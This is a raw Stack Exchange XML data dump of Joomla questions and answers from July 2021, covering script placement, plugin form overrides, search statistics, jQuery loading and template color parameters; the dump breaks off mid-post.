  <row Id="30384" PostTypeId="1" CreationDate="2021-07-23T16:02:43.673" Score="3" ViewCount="192" Body="&lt;p&gt;I'm using a lot of javascript files for my articles. These scripts shouldn't be loaded everywhere - only in certain articles. That's the reason why I don't add them inside of the templates´ head. At the moment I've included them directly inside the article.&lt;/p&gt;&#xA;&lt;p&gt;Do I have any disadvantages (regarding SEO) when these scripts aren't placed in Joomla's header?&lt;/p&gt;&#xA;&lt;p&gt;What is the best solution to place article specific scripts inside the header area?&lt;/p&gt;&#xA;" OwnerUserId="15453" LastActivityDate="2022-10-03T19:19:30.093" Title="Place article specific scripts in head section" Tags="|joomla-3.x|javascript|header|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30385" PostTypeId="1" CreationDate="2021-07-24T06:27:18.953" Score="1" ViewCount="97" Body="&lt;p&gt;I created a system plugin with the &lt;code&gt;onContentPrepareForm()&lt;/code&gt; method to load an entire module options form, and the form loads correctly, but will not save the entered data.&lt;/p&gt;&#xA;&lt;h3 id=&quot;the-coding-az2j&quot;&gt;The coding&lt;/h3&gt;&#xA;&lt;p&gt;&lt;code&gt;/plugins/system/dropmods/dropmods.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentPrepareForm($form, $data) &#xA;{&#xA;  if( $form-&amp;gt;getName() == 'com_modules.module' &amp;amp;&amp;amp; $data-&amp;gt;module == 'mod_stuff' ) {&#xA;    JForm::addFormPath(__DIR__.'/mods/');&#xA;    $form-&amp;gt;loadFile('mod_stuff', false);&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3 id=&quot;the-override-form-mod_stuff.xml-221t&quot;&gt;The override form mod_stuff.xml&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;&amp;lt;fields name=&amp;quot;params&amp;quot;&amp;gt;&#xA;    &amp;lt;fieldset name=&amp;quot;basic&amp;quot;&amp;gt;&#xA;        &amp;lt;field type=&amp;quot;textarea&amp;quot; name=&amp;quot;thetextarea&amp;quot; label=&amp;quot;Write Stuff&amp;quot; /&amp;gt;&#xA;        &amp;lt;field type=&amp;quot;text&amp;quot; name=&amp;quot;thetext&amp;quot; label=&amp;quot;Just Write&amp;quot; /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/fields&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3 id=&quot;the-modules-manifest-xml-mod_stuff.xml-f6da&quot;&gt;The module's manifest XML mod_stuff.xml&lt;/h3&gt;&#xA;&lt;p&gt;&lt;code&gt;modules/mod_stuff&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;The manifest just serves as an item to register the module but all files are sourced from the plugin. The installation process of the plugin creates the module folder and registers to the DB &lt;code&gt;_extensions&lt;/code&gt; table&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;extension type=&amp;quot;module&amp;quot; version=&amp;quot;3.1&amp;quot; client=&amp;quot;site&amp;quot; method=&amp;quot;upgrade&amp;quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;mod_stuff&amp;lt;/name&amp;gt;&#xA;    &amp;lt;author&amp;gt;The author&amp;lt;/author&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;July&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;copyright&amp;gt;Copyright here&amp;lt;/copyright&amp;gt;&#xA;    &amp;lt;license&amp;gt;GNU General Public License stuff&amp;lt;/license&amp;gt;&#xA;    &amp;lt;authorEmail&amp;gt;&amp;lt;/authorEmail&amp;gt;&#xA;    &amp;lt;authorUrl&amp;gt;&amp;lt;/authorUrl&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;the detail&amp;lt;/description&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3 id=&quot;mod_stuff.php-2o8d&quot;&gt;mod_stuff.php&lt;/h3&gt;&#xA;&lt;p&gt;&lt;code&gt;modules/mod_stuff&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php defined('_JEXEC') or exit('stuff');&#xA;&#xA;include JPATH_PLUGINS.'/system/dropmods/mods/mod_stuff.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3 id=&quot;what-has-worked-w13m&quot;&gt;What has worked&lt;/h3&gt;&#xA;&lt;p&gt;If I use a subform method in the module's manifest file &lt;code&gt;modules/mod_stuff/mod_stuff.xml&lt;/code&gt; to load the override file, the data saves correctly, however the subform process create additional parent object name &lt;code&gt;settings&lt;/code&gt; and it poses a bit of challenge.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;config&amp;gt;&#xA;    &amp;lt;fields name=&amp;quot;params&amp;quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&amp;quot;basic&amp;quot;&amp;gt;&#xA;            &amp;lt;field &#xA;            type=&amp;quot;subform&amp;quot; &#xA;            name=&amp;quot;settings&amp;quot; &#xA;            formsource=&amp;quot;plugins/system/dropmods/mods/mod_stuff.xml&amp;quot; &#xA;            hiddenLabel=&amp;quot;true&amp;quot; &#xA;            /&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/config&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;What's required to allow the plugin override form to save the data?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="12862" LastEditorUserId="12862" LastEditDate="2021-07-24T22:58:51.620" LastActivityDate="2021-07-24T22:58:51.620" Title="Override module XML form displays correctly but does not save data. Why?" Tags="|jform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30386" PostTypeId="2" ParentId="30384" CreationDate="2021-07-24T10:45:35.293" Score="1" Body="&lt;p&gt;You could add a script (or CSS) to the doc head using the HTML Helper&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\HTML\HTMLHelper;&#xA;&#xA;HTMLHelper::_('script', 'path/to/your/js/script.js', &#xA;['version' =&amp;gt; 'auto', 'relative' =&amp;gt; false]&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However, you cannot add PHP code to Joomla articles so you have to use another method for that. For instance a plugin that adds it to the code for certain articles (article IDs).&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2021-07-24T10:45:35.293" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30387" PostTypeId="2" ParentId="30385" CreationDate="2021-07-24T13:14:22.803" Score="2" Body="&lt;p&gt;There's a quirk when using &lt;code&gt;onContentPrepareForm&lt;/code&gt; event. Data may not always be available and sometimes it can be an array instead of an object. You can confirm this by inspecting PHP error log. You should find entries like these:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;PHP Warning:  Attempt to read property &amp;quot;module&amp;quot; on array in C:\wamp\www\joomla-cms-3\plugins\system\example\example.php on line 31&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;PHP Warning:  Undefined property: stdClass::$module in C:\wamp\www\joomla-cms-3\plugins\system\example\example.php on line 31&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;To workaround the issue, get data from input if it's not set and cast it to object:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$data = (object) ($data ?: $this-&amp;gt;app-&amp;gt;input-&amp;gt;get($form-&amp;gt;getFormControl(), [], 'array'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2021-07-24T22:28:29.453" LastActivityDate="2021-07-24T22:28:29.453" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="30389" PostTypeId="1" AcceptedAnswerId="30393" CreationDate="2021-07-27T14:32:39.443" Score="1" ViewCount="73" Body="&lt;p&gt;Joomla has an internal search on my site, so I want to see what visitors (not logged in) are searching for without resorting to outside software.  How do I see past searches that were searched in my internal Joomla search?&lt;/p&gt;&#xA;&lt;p&gt;My site is running on Joomla! 3.9.28&lt;/p&gt;&#xA;" OwnerUserId="15558" LastEditorUserId="15558" LastEditDate="2021-07-27T14:46:30.137" LastActivityDate="2021-07-28T00:52:12.140" Title="How do I view the search history?" Tags="|user|search|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="30390" PostTypeId="1" CreationDate="2021-07-27T19:39:07.200" Score="0" ViewCount="90" Body="&lt;p&gt;I just launched my website  : &lt;a href=&quot;https://lise-whales.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://lise-whales.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Joomla  3.9.28&lt;/p&gt;&#xA;&lt;p&gt;Astroid Framework 2.5.2&lt;/p&gt;&#xA;&lt;p&gt;Astroid Template One 1.3.2&lt;/p&gt;&#xA;&lt;p&gt;I want to use &lt;a href=&quot;https://github.com/noelboss/featherlight&quot; rel=&quot;nofollow noreferrer&quot;&gt;Featherlight lightbox&lt;/a&gt; with JS script&lt;/p&gt;&#xA;&lt;p&gt;So I past before the &amp;lt;/head in Astroid custom code area&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link href=&amp;quot;//cdn.jsdelivr.net/npm/featherlight@1.7.14/release/featherlight.min.css&amp;quot; type=&amp;quot;text/css&amp;quot; rel=&amp;quot;stylesheet&amp;quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and before &amp;lt;/body in Astroid custom code area (see attached picture)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;!-- Featherlight --&amp;gt;&#xA;&amp;lt;script src=&amp;quot;//code.jquery.com/jquery-latest.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&amp;quot;//cdn.jsdelivr.net/npm/featherlight@1.7.14/release/featherlight.min.js&amp;quot; type=&amp;quot;text/javascript&amp;quot; charset=&amp;quot;utf-8&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;!-- End - Featherlight --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But before that, I'm trying to understand how use basic JS&#xA;I'm working on a basic example from Stackoverflow&lt;/p&gt;&#xA;&lt;p&gt;On my home page I have this link whick works fine alone and links to my second page&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a id=&amp;quot;ali&amp;quot; alt=&amp;quot;Ali&amp;quot; href=&amp;quot;https://lise-whales.com/page-fl&amp;quot;&amp;gt;Link&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then, when I place my code in the JS custom code of Astroid to make my ID &amp;quot;ali&amp;quot; to change the href to stackoverflow web site, it doesn't work&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function() {&#xA;$(&amp;quot;#ali&amp;quot;).attr(&amp;quot;href&amp;quot;,&amp;quot;https://stackoverflow.com&amp;quot;);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I also used&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;as an alternative, but it still doesn't work&lt;/p&gt;&#xA;&lt;p&gt;What I am doing wrong ?&lt;/p&gt;&#xA;&lt;p&gt;Where should I put my JS code ?&lt;/p&gt;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&lt;p&gt;Lise&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Here are the pictures from my Astroid Template Custom Code Area.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://lise-whales.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FrMZl.png&quot; alt=&quot;Code for Featherlight in Astroid Custom area&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/noelboss/featherlight&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7TnAu.png&quot; alt=&quot;My JS Code&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15542" LastEditorUserId="12352" LastEditDate="2021-07-27T22:49:07.690" LastActivityDate="2021-07-29T00:35:11.303" Title="Can't get my JS to work on a simple link" Tags="|jquery|weblinks|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30392" PostTypeId="2" ParentId="30390" CreationDate="2021-07-27T21:11:11.427" Score="1" Body="&lt;p&gt;this is not a full answer by any means, but are you sure the JQuery is working?  I had to use &lt;code&gt;jQuery('selector')&lt;/code&gt; instead of &lt;code&gt;$('selector')&lt;/code&gt; to make mine work.&lt;/p&gt;&#xA;" OwnerUserId="15558" LastActivityDate="2021-07-27T21:11:11.427" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="30393" PostTypeId="2" ParentId="30389" CreationDate="2021-07-28T00:52:12.140" Score="3" Body="&lt;p&gt;Joomla has two search options: Search and Smart Search. Depending on which you choose may dictate some factors.&lt;/p&gt;&#xA;&lt;p&gt;For Search (Components &amp;gt; Search) you will need to manually enable gathering search statistics in the options. This is off by default, as it can accumulate massive amounts of data if there's lots of searches on a popular site.&lt;/p&gt;&#xA;&lt;p&gt;Once you're gathering statistics, going to Components &amp;gt; Search will show you what people have searched for on the website.&lt;/p&gt;&#xA;&lt;p&gt;Smart Search works similarly, but the main difference is that Smart Search creates a deeper index for your site. Again, turn on Gather Search Statistics in the Options.&lt;/p&gt;&#xA;" OwnerUserId="14062" LastActivityDate="2021-07-28T00:52:12.140" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30394" PostTypeId="2" ParentId="30383" CreationDate="2021-07-28T03:30:43.987" Score="1" Body="&lt;p&gt;I personally use two extensions to trigger modals depending on requirements - Engagebox (where I can create modals and specify triggers etc) and Regular Labs Modals (where I can specify a class that converts the link into a modal).&lt;/p&gt;&#xA;&lt;p&gt;With Regular Labs Modals, you could just add a class to the link and the work would be all done.&lt;/p&gt;&#xA;&lt;p&gt;However, you can also do it with a few simple steps as I found on the &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=961945#p3524356&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla forum&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;JHTML::_('behavior.modal');&#xA;echo '&amp;lt;a class=&amp;quot;modal&amp;quot; href=&amp;quot;' . JURI::current() . '?tmpl=component&amp;quot;&amp;gt;open in pop-up&amp;lt;/a&amp;gt;';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This line loads the modal behaviour. You may not need to trigger this as your template could already be loading it. It only needs to load once on the page.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JHTML::_('behavior.modal');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Adding class=&amp;quot;modal&amp;quot; to the link will then open it in the modal.&lt;/p&gt;&#xA;&lt;p&gt;Adding the parameter &lt;code&gt;?tmpl=component&lt;/code&gt; to the URL finishes the process for when it's a page you're loading instead of an image - the component template is a special file in Joomla templates called component.php, and basically it's a cleanskin version of the index.php file, loading only (in most cases) the main content area for the template.&lt;/p&gt;&#xA;&lt;p&gt;This keeps the modal view of what you're loading clean.&lt;/p&gt;&#xA;&lt;p&gt;In your case the following would be all you need if the URL is an image you want to load in the modal, assuming that &lt;code&gt;JHTML::_('behavior.modal');&lt;/code&gt; is loading in the template:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&amp;quot;https://example.com/#picture_opened_in_a_lightbox&amp;quot; class=&amp;quot;modal&amp;quot;&amp;gt;Picture of Redwoods&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Experiment with your epub link as to whether it additionally requires &lt;code&gt;?tmpl=component&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="14062" LastEditorUserId="12352" LastEditDate="2021-07-28T05:05:33.943" LastActivityDate="2021-07-28T05:05:33.943" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="30395" PostTypeId="2" ParentId="30390" CreationDate="2021-07-28T06:08:26.710" Score="0" Body="&lt;p&gt;The problem is that you are trying to load jQuery &lt;strong&gt;after&lt;/strong&gt; your small script to change the &lt;code&gt;href&lt;/code&gt; value.&lt;/p&gt;&#xA;&lt;p&gt;I'm going to suggest simply not using jQuery, as it's pointless for what you need, and instead use simple, native Javascript:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;document.addEventListener('DOMContentLoaded', () =&amp;gt; {&#xA;  document.getElementById('ali').setAttribute('href', 'https://stackoverflow.com');&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you need IE support:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;document.addEventListener('DOMContentLoaded', function() {&#xA;  document.getElementById('ali').setAttribute('href', 'https://stackoverflow.com');&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2021-07-28T06:08:26.710" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30396" PostTypeId="2" ParentId="30390" CreationDate="2021-07-28T15:02:41.600" Score="0" Body="&lt;p&gt;&lt;b&gt;Lodder,&lt;/p&gt;&#xA;&lt;p&gt;it works !!!&lt;/b&gt;&lt;/p&gt;&#xA;&lt;p&gt;I used your first native Javascript in the JS custom of Astroid and it worked perfectly&lt;/p&gt;&#xA;&lt;p&gt;And, regarding your comment on loading jQuery &lt;b&gt;after&lt;/b&gt; script, I decided to try to place my custom JS in a separate file (monjs.js) that I placed in /media/system/js/ and I called in the head using this script :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Mon JS --&amp;gt;&#xA;&amp;lt;script type=&amp;quot;text/javaScript&amp;quot; src=&amp;quot;/media/system/js/monjs.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;!-- End - Mon JS --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I simply placed your script in the file and it works fine as well&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;document.addEventListener('DOMContentLoaded', () =&amp;gt; {&#xA;  document.getElementById('ali').setAttribute('href', 'https://stackoverflow.com');&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;b&gt;But&lt;/b&gt;, If I replace it by&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function() {&#xA;jQuery(&amp;quot;#ali&amp;quot;).attr(&amp;quot;href&amp;quot;,&amp;quot;https://stackoverflow.com&amp;quot;);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It doesn't work.&lt;/p&gt;&#xA;&lt;p&gt;I agree with you. Using jQuery to change a link is pointless. For me, it was just a way to know how to use jQuery properly.&lt;/p&gt;&#xA;&lt;p&gt;My purpose was to learn what script could work and where to put it properly.&lt;/p&gt;&#xA;&lt;p&gt;I want to use jQuery because I want to use Featherlight and link to an open lightbox making sure the page where the page where my lightbox is called is loaded in the background. And for what I understood I could manage it using jQuery.&lt;/p&gt;&#xA;&lt;p&gt;But it looks like I can't even call simple jQuery scripts. I have to convert it to JavaScript.&lt;/p&gt;&#xA;&lt;p&gt;Well, that's something I'm going to learn and try.&lt;/p&gt;&#xA;&lt;p&gt;Thank you to you all&lt;/p&gt;&#xA;&lt;p&gt;Lise&lt;/p&gt;&#xA;" OwnerUserId="15542" LastActivityDate="2021-07-28T15:02:41.600" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30397" PostTypeId="1" CreationDate="2021-07-28T19:56:33.110" Score="1" ViewCount="127" Body="&lt;p&gt;My Joomla Dashboard lists search vs. smart search, how do I enable smart search indexing?&#xA;AND when I do, how do I see what is in the index?&lt;/p&gt;&#xA;&lt;p&gt;I found this joomla resource: docs.joomla.org/Setting_up_automatic_Smart_Search_indexing but I was hoping to do this all from the dashboard, instead of from the command line. Any idea if that is possible?&lt;/p&gt;&#xA;" OwnerUserId="15558" LastEditorUserId="15558" LastEditDate="2021-07-28T20:27:43.347" LastActivityDate="2021-07-29T13:52:39.043" Title="How to Enable Smart Search from the dashboard" Tags="|administrator|smartsearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30398" PostTypeId="2" ParentId="30390" CreationDate="2021-07-29T00:35:11.303" Score="0" Body="&lt;p&gt;I get back to you because I found another solution to solve my problem &lt;strong&gt;AND&lt;/strong&gt; use jQuery script.&lt;/p&gt;&#xA;&lt;p&gt;I placed&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('jquery.framework');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;inside the php tag before 'head' in the index.php of my template&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;/**&#xA; * @package   Astroid Framework&#xA; * @author    JoomDev https://www.joomdev.com&#xA; * @copyright Copyright (C) 2009 - 2020 JoomDev.&#xA; * @license https://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later&#xA; */&#xA;// No direct access.&#xA;defined('_JEXEC') or die;&#xA;defined('_ASTROID') or die('Please install and activate &amp;lt;a href=&amp;quot;https://www.astroidframework.com/&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;Astroid Framework&amp;lt;/a&amp;gt; in order to use this template.');&#xA;&#xA;if (file_exists(__DIR__ . &amp;quot;/helper.php&amp;quot;)) {&#xA;   require_once __DIR__ . &amp;quot;/helper.php&amp;quot;; // Template's Helper&#xA;}&#xA;&#xA;JHtml::_('jquery.framework');&#xA;&#xA;$document = Astroid\Framework::getDocument(); // Astroid Document&#xA;// Output as HTML5&#xA;$this-&amp;gt;setHtml5(true);&#xA;?&amp;gt;&#xA;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html lang=&amp;quot;&amp;lt;?php echo $this-&amp;gt;language; ?&amp;gt;&amp;quot; dir=&amp;quot;&amp;lt;?php echo $this-&amp;gt;direction; ?&amp;gt;&amp;quot;&amp;gt;&#xA;&#xA;&amp;lt;head&amp;gt;&#xA;...&#xA;&amp;lt;/head&amp;gt;&#xA;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This way, I can use jQuery scripts directly inside my custom JS file monjs.js&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function(){&#xA;jQuery(&amp;quot;#ali&amp;quot;).attr(&amp;quot;href&amp;quot;,&amp;quot;https://stackoverflow.com&amp;quot;);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15542" LastActivityDate="2021-07-29T00:35:11.303" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31399" PostTypeId="2" ParentId="30397" CreationDate="2021-07-29T13:47:26.960" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Log into your Joomla dashboard&lt;/li&gt;&#xA;&lt;li&gt;Hover over Extensions in the top menu, and then click Plug-in Manager&lt;/li&gt;&#xA;&lt;li&gt;Use the filter tool to search for “smart”, and then click the button to enable Content – Smart Search&lt;/li&gt;&#xA;&lt;li&gt;In the top menu, hover over Components and click Smart Search&lt;/li&gt;&#xA;&lt;li&gt;Click the Index icon to begin indexing your content.&lt;/li&gt;&#xA;&lt;li&gt;When the indexing is complete, close the indexing window. Your page will refresh and you will see a very large list showing how your content has been indexed. Your next step will be to create a Smart Search Module so that you can begin using this feature on your site.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="15558" LastEditorUserId="15558" LastEditDate="2021-07-29T13:52:39.043" LastActivityDate="2021-07-29T13:52:39.043" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31400" PostTypeId="1" AcceptedAnswerId="31406" CreationDate="2021-07-30T00:47:13.380" Score="1" ViewCount="1204" Body="&lt;p&gt;I want my custom modules &amp;amp; custom template to fetch the parameter values (colors) from my custom template's backend. This way I can see what colors I'm picking when when I'm configuring my website.&lt;/p&gt;&#xA;&lt;p&gt;That is, a button’s background color in the module/templates’s config page will match the color I defined in templateDetails.xml.&lt;/p&gt;&#xA;&lt;p&gt;I have built a working J4 template and modules. In the &lt;strong&gt;templateDetails.xml&lt;/strong&gt; I use the following&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;description&amp;gt;My Custom Template&#xA;    &amp;lt;![CDATA[&amp;lt;link rel=&amp;quot;stylesheet&amp;quot; type=&amp;quot;text/css&amp;quot; href=&amp;quot;../media/vendor/mycustomfolder/admin.css.php&amp;quot; /&amp;gt;]]&amp;gt;&#xA;&amp;lt;/description&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Which allows me to add css for use in the backend. Later in &lt;strong&gt;templateDetails.xml&lt;/strong&gt; there is a fieldset for defining colors:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&amp;quot;color01&amp;quot; label=&amp;quot;Color 01&amp;quot; type=&amp;quot;color&amp;quot; format=&amp;quot;hex&amp;quot; /&amp;gt;&#xA;&amp;lt;field name=&amp;quot;color02&amp;quot; label=&amp;quot;Color 02&amp;quot; type=&amp;quot;color&amp;quot; format=&amp;quot;hex&amp;quot; /&amp;gt;&#xA;&amp;lt;field name=&amp;quot;color03&amp;quot; label=&amp;quot;Color 02&amp;quot; type=&amp;quot;color&amp;quot; format=&amp;quot;hex&amp;quot; /&amp;gt;&#xA;&amp;lt;field etc&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;strong&gt;admin.css.php&lt;/strong&gt; file is supposed to access my custom template's color values using &lt;a href=&quot;https://joomla.stackexchange.com/questions/23273/get-framework-and-template-params-in-joomla-4&quot;&gt;this method&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;define('_JEXEC', 1);&#xA;define('JPATH_BASE', __DIR__ . '/../../..');&#xA;&#xA;require_once JPATH_BASE . '/includes/defines.php';&#xA;require_once JPATH_BASE . '/includes/framework.php';&#xA;&#xA;$container = \Joomla\CMS\Factory::getContainer();&#xA;$container-&amp;gt;alias(\Joomla\Session\SessionInterface::class, 'session.web.site');&#xA;&#xA;$app                    = $container-&amp;gt;get(\Joomla\CMS\Application\SiteApplication::class);&#xA;$defaultTemplate    = $app-&amp;gt;getTemplate(true);&#xA;$params                     = $defaultTemplate-&amp;gt;params;&#xA;&#xA;header(&amp;quot;Content-Type:text/css; charset=UTF-8&amp;quot;);&#xA;header(&amp;quot;Cache-Control:must-revalidate&amp;quot;);&#xA;?&amp;gt;&#xA;.bg01 {-webkit-text-stroke: 1px #000; -webkit-text-fill-color:#fff; font-weight:bold; color:&amp;lt;?php echo $params-&amp;gt;get('color01'); ?&amp;gt;; }&#xA;.bg02 {-webkit-text-stroke: 1px #000; -webkit-text-fill-color:#fff; font-weight:bold; color:&amp;lt;?php echo $params-&amp;gt;get('color02'); ?&amp;gt;; }&#xA;.bg02 {-webkit-text-stroke: 1px #000; -webkit-text-fill-color:#fff; font-weight:bold; color:&amp;lt;?php echo $params-&amp;gt;get('color02'); ?&amp;gt;; }&#xA;etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So that in my custom modules and elsewhere in my custom template, when I have xml fields marked up with CSS classes like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&amp;quot;backgroundColor&amp;quot; label=&amp;quot;Background Color&amp;quot; type=&amp;quot;radio&amp;quot; &amp;gt;&#xA;        &amp;lt;option class=&amp;quot;btn bg01&amp;quot; value=&amp;quot;color01&amp;quot;&amp;gt;Color 01&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option class=&amp;quot;btn bg02&amp;quot; value=&amp;quot;color02&amp;quot;&amp;gt;Color 02&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option class=&amp;quot;btn bg03&amp;quot; value=&amp;quot;color03&amp;quot;&amp;gt;Color 03&amp;lt;/option&amp;gt;&#xA;        etc&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;the &lt;strong&gt;admin.css.php&lt;/strong&gt; should be fetching values for color01, color02, color03, (etc) and use them for the color attributes in .bg01, bg02, .bg03, 